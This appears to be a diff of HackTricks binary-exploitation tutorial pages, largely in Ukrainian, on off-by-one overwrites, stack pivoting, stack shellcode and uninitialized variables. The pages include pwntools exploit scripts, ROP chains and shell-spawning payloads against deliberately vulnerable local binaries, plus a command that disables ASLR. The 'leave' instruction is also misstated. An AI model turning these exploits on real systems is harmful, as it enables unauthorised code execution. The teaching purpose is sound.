Ви можете знайти ще один приклад off-by-one в ARM64 за посиланням [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), який є справжнім off-by-**one** у вигаданій вразливості.
## З PIE
{% hint style="success" %}
Скомпілюйте бінарний файл **без аргументу `-no-pie`**
{% endhint %}
### Off-by-2
Без leak ми не знаємо точну адресу виграшної функції, але можемо знати зсув функції від бінарного файлу, і знаючи, що адреса повернення, яку ми перезаписуємо, вже вказує на близьку адресу, можливо отримати зсув до виграшної функції (**0x7d4**) у цьому випадку і просто використати цей зсув:
<figure><img src="../../../.gitbook/assets/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -0,0 +1,250 @@
# Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
Ця техніка використовує можливість маніпулювати **Base Pointer (EBP)** для з'єднання виконання кількох функцій через обережне використання регістра EBP та інструкцій **`leave; ret`**.
Нагадаємо, що **`leave`** в основному означає:
```
mov ebp, esp
pop ebp
ret
```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
#### Exploit Construction
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
* A valid [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) address.
* The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
* The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
* Some [**ROP**](../rop-return-oriented-programing/) chain
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
#### Off-By-One Exploit
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
Usually it's modified the byte 0x00t o jump as far as possible.
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
### **EBP Chaining**
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
* **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
* **`system()`** -> Called by `ret`
* **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
* **`&("/bin/sh")`**-> Param fro `system`
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP може не використовуватись
Як [**пояснено в цьому пості**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), якщо бінарний файл скомпільований з деякими оптимізаціями, **EBP ніколи не контролює ESP**, отже, будь-який експлойт, що працює шляхом контролю EBP, в основному зазнає невдачі, оскільки не має жодного реального ефекту.\
Це пов'язано з тим, що **пролог і епілог змінюються**, якщо бінарний файл оптимізований.
* **Не оптимізовано:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
* **Оптимізовано:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Інші способи контролю RSP
### **`pop rsp`** гаджет
[**На цій сторінці**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) ви можете знайти приклад використання цієї техніки. Для цього завдання потрібно було викликати функцію з 2 специфічними аргументами, і був **`pop rsp` гаджет** та є **leak з стеку**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
Перевірте техніку ret2esp тут:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
## Посилання та інші приклади
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64 біти, експлуатація off by one з ланцюгом rop, що починається з ret sled
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
* 64 біти, без relro, canary, nx та pie. Програма надає leak для стеку або pie та WWW для qword. Спочатку отримайте leak стеку та використайте WWW, щоб повернутися і отримати leak pie. Потім використайте WWW, щоб створити вічний цикл, зловживаючи записами `.fini_array` + викликом `__libc_csu_fini` ([більше інформації тут](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Зловживаючи цим "вічним" записом, записується ланцюг ROP у .bss і в кінці викликається, підіймаючись з RBP.
## ARM64
В ARM64, **пролог та епілоги** функцій **не зберігають і не відновлюють реєстр SP** у стеку. Більше того, **інструкція `RET`** не повертає за адресою, на яку вказує SP, а **за адресою всередині `x30`**.
Отже, за замовчуванням, просто зловживаючи епілогом, ви **не зможете контролювати реєстр SP**, переписуючи деякі дані всередині стеку. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб **контролювати реєстр `x30`**.
* пролог
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP вказує на запис кадру
```
* епілог
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
{% hint style="danger" %}
Спосіб виконати щось подібне до стекового підіймання в ARM64 полягатиме в тому, щоб мати можливість **контролювати `SP`** (контролюючи якийсь реєстр, значення якого передається до `SP`, або тому, що з якоїсь причини `SP` бере свою адресу зі стеку, і у нас є переповнення) і потім **зловживати епілогом**, щоб завантажити **реєстр `x30`** з **контрольованого `SP`** і **`RET`** до нього.
{% endhint %}
Також на наступній сторінці ви можете побачити еквівалент **Ret2esp в ARM64**:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -0,0 +1,117 @@
# Stack Shellcode
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
**Stack shellcode** - це техніка, що використовується в **binary exploitation**, де зловмисник записує shellcode в стек вразливої програми, а потім модифікує **Instruction Pointer (IP)** або **Extended Instruction Pointer (EIP)**, щоб вказати на місце розташування цього shellcode, що призводить до його виконання. Це класичний метод, що використовується для отримання несанкціонованого доступу або виконання довільних команд на цільовій системі. Ось розбір процесу, включаючи простий приклад на C та як ви можете написати відповідний експлойт, використовуючи Python з **pwntools**.
### C Example: A Vulnerable Program
Let's start with a simple example of a vulnerable C program:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Ця програма вразлива до переповнення буфера через використання функції `gets()`.
### Компиляція
Щоб скомпілювати цю програму, вимкнувши різні захисти (щоб змоделювати вразливе середовище), ви можете використати наступну команду:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Вимикає захист стеку.
* `-z execstack`: Робить стек виконуваним, що необхідно для виконання shellcode, збереженого в стеці.
* `-no-pie`: Вимикає Position Independent Executable, що полегшує прогнозування адреси пам'яті, де буде розташований наш shellcode.
* `-m32`: Компілірує програму як 32-бітний виконуваний файл, що часто використовується для спрощення розробки експлойтів.
### Python Exploit using Pwntools
Ось як ви можете написати експлойт на Python, використовуючи **pwntools** для виконання атаки **ret2shellcode**:
```python
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
```
Цей скрипт створює корисне навантаження, що складається з **NOP слайду**, **shellcode**, а потім перезаписує **EIP** адресою, що вказує на NOP слайд, забезпечуючи виконання shellcode.
**NOP слайд** (`asm('nop')`) використовується для збільшення ймовірності того, що виконання "зсуватиметься" до нашого shellcode незалежно від точної адреси. Налаштуйте аргумент `p32()` на початкову адресу вашого буфера плюс зсув, щоб потрапити в NOP слайд.
## Захист
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **повинен бути вимкнений** для того, щоб адреса була надійною під час виконання, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться деякий leak, щоб зрозуміти, де завантажена функція win.
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **захист** стеку завадить виконанню shellcode всередині стеку, оскільки ця область не буде виконуваною.
## Інші приклади та посилання
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64 біт, ASLR з leak адреси стеку, записати shellcode і перейти до нього
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32 біт, ASLR з leak стеку, записати shellcode і перейти до нього
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32 біт, ASLR з leak стеку, порівняння для запобігання виклику exit(), перезаписати змінну значенням і записати shellcode і перейти до нього
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, без ASLR, ROP гаджет для зроблення стеку виконуваним і переходу до shellcode в стеку
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -0,0 +1,103 @@
# Stack Shellcode - arm64
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
Знайдіть вступ до arm64 у:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## Код&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
```
Скомпілюйте без pie, canary та nx:
{% code overflow="wrap" %}
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
{% endcode %}
## Немає ASLR & Немає канарки - Stack Overflow&#x20;
Щоб зупинити ASLR, виконайте:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Щоб отримати [**зсув для bof, перевірте це посилання**](../ret2win/ret2win-arm64.md#finding-the-offset).
Експлуатація:
```python
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
```
Єдине "складне", що потрібно знайти тут, це адреса в стеку для виклику. У моєму випадку я згенерував експлойт з адресою, знайденою за допомогою gdb, але потім, коли я намагався його використати, це не спрацювало (тому що адреса в стеку трохи змінилася).
Я відкрив згенерований **`core` файл** (`gdb ./bog ./core`) і перевірив реальну адресу початку shellcode.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -0,0 +1,92 @@
# Uninitialized Variables
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
Основна ідея полягає в тому, щоб зрозуміти, що відбувається з **нініціалізованими змінними, оскільки вони матимуть значення, яке вже було в пам'яті, призначеній їм.** Приклад:
* **Функція 1: `initializeVariable`**: Ми оголошуємо змінну `x` і присвоюємо їй значення, скажімо, `0x1234`. Ця дія подібна до резервування місця в пам'яті та вставлення в нього конкретного значення.
* **Функція 2: `useUninitializedVariable`**: Тут ми оголошуємо іншу змінну `y`, але не присвоюємо їй жодного значення. У C нініціалізовані змінні не автоматично встановлюються в нуль. Натомість вони зберігають те, яке значення було останнім збережено в їхньому місці пам'яті.
Коли ми запускаємо ці дві функції **послідовно**:
1. У `initializeVariable` змінній `x` присвоюється значення (`0x1234`), яке займає конкретну адресу пам'яті.
2. У `useUninitializedVariable` змінна `y` оголошується, але їй не присвоюється значення, тому вона займає місце в пам'яті безпосередньо після `x`. Через те, що `y` не ініціалізована, вона в кінцевому підсумку "успадковує" значення з того ж місця пам'яті, яке використовувалося `x`, оскільки це останнє значення, яке там було.
Ця поведінка ілюструє ключове поняття в низькорівневому програмуванні: **Управління пам'яттю є критично важливим**, і нініціалізовані змінні можуть призвести до непередбачуваної поведінки або вразливостей безпеки, оскільки вони можуть ненавмисно містити чутливі дані, залишені в пам'яті.
Нініціалізовані стекові змінні можуть становити кілька ризиків безпеки, таких як:
* **Витік даних**: Чутлива інформація, така як паролі, ключі шифрування або особисті дані, може бути розкрита, якщо зберігається в нініціалізованих змінних, що дозволяє зловмисникам потенційно читати ці дані.
* **Розкриття інформації**: Вміст нініціалізованих змінних може розкрити деталі про структуру пам'яті програми або внутрішні операції, що допомагає зловмисникам розробляти цілеспрямовані експлойти.
* **Збої та нестабільність**: Операції, що стосуються нініціалізованих змінних, можуть призвести до невизначеної поведінки, що викликає збої програми або непередбачувані результати.
* **Виконання довільного коду**: У певних сценаріях зловмисники можуть експлуатувати ці вразливості, щоб змінити потік виконання програми, що дозволяє їм виконувати довільний код, що може включати загрози віддаленого виконання коду.
### Example
```c
#include <stdio.h>
// Function to initialize and print a variable
void initializeAndPrint() {
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
}
// Function to demonstrate the behavior of an uninitialized variable
void demonstrateUninitializedVar() {
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
}
int main() {
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
// First, call the function that initializes its variable
initializeAndPrint();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
return 0;
}
```
#### Як це працює:
* **`initializeAndPrint` Функція**: Ця функція оголошує цілу змінну `initializedVar`, присвоює їй значення `100`, а потім виводить як адресу пам'яті, так і значення змінної. Цей крок є простим і демонструє, як поводиться ініціалізована змінна.
* **`demonstrateUninitializedVar` Функція**: У цій функції ми оголошуємо цілу змінну `uninitializedVar` без її ініціалізації. Коли ми намагаємося вивести її значення, вихід може показати випадкове число. Це число представляє будь-які дані, які раніше знаходилися за цією адресою пам'яті. Залежно від середовища та компілятора, фактичний вихід може варіюватися, і іноді, для безпеки, деякі компілятори можуть автоматично ініціалізувати змінні до нуля, хоча на це не слід покладатися.
* **`main` Функція**: Функція `main` викликає обидві вищезгадані функції послідовно, демонструючи контраст між ініціалізованою змінною та неініціалізованою.
## ARM64 Приклад
Це зовсім не змінюється в ARM64, оскільки локальні змінні також управляються в стеку, ви можете [**перевірити цей приклад**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/), де це показано.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# Salseo
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
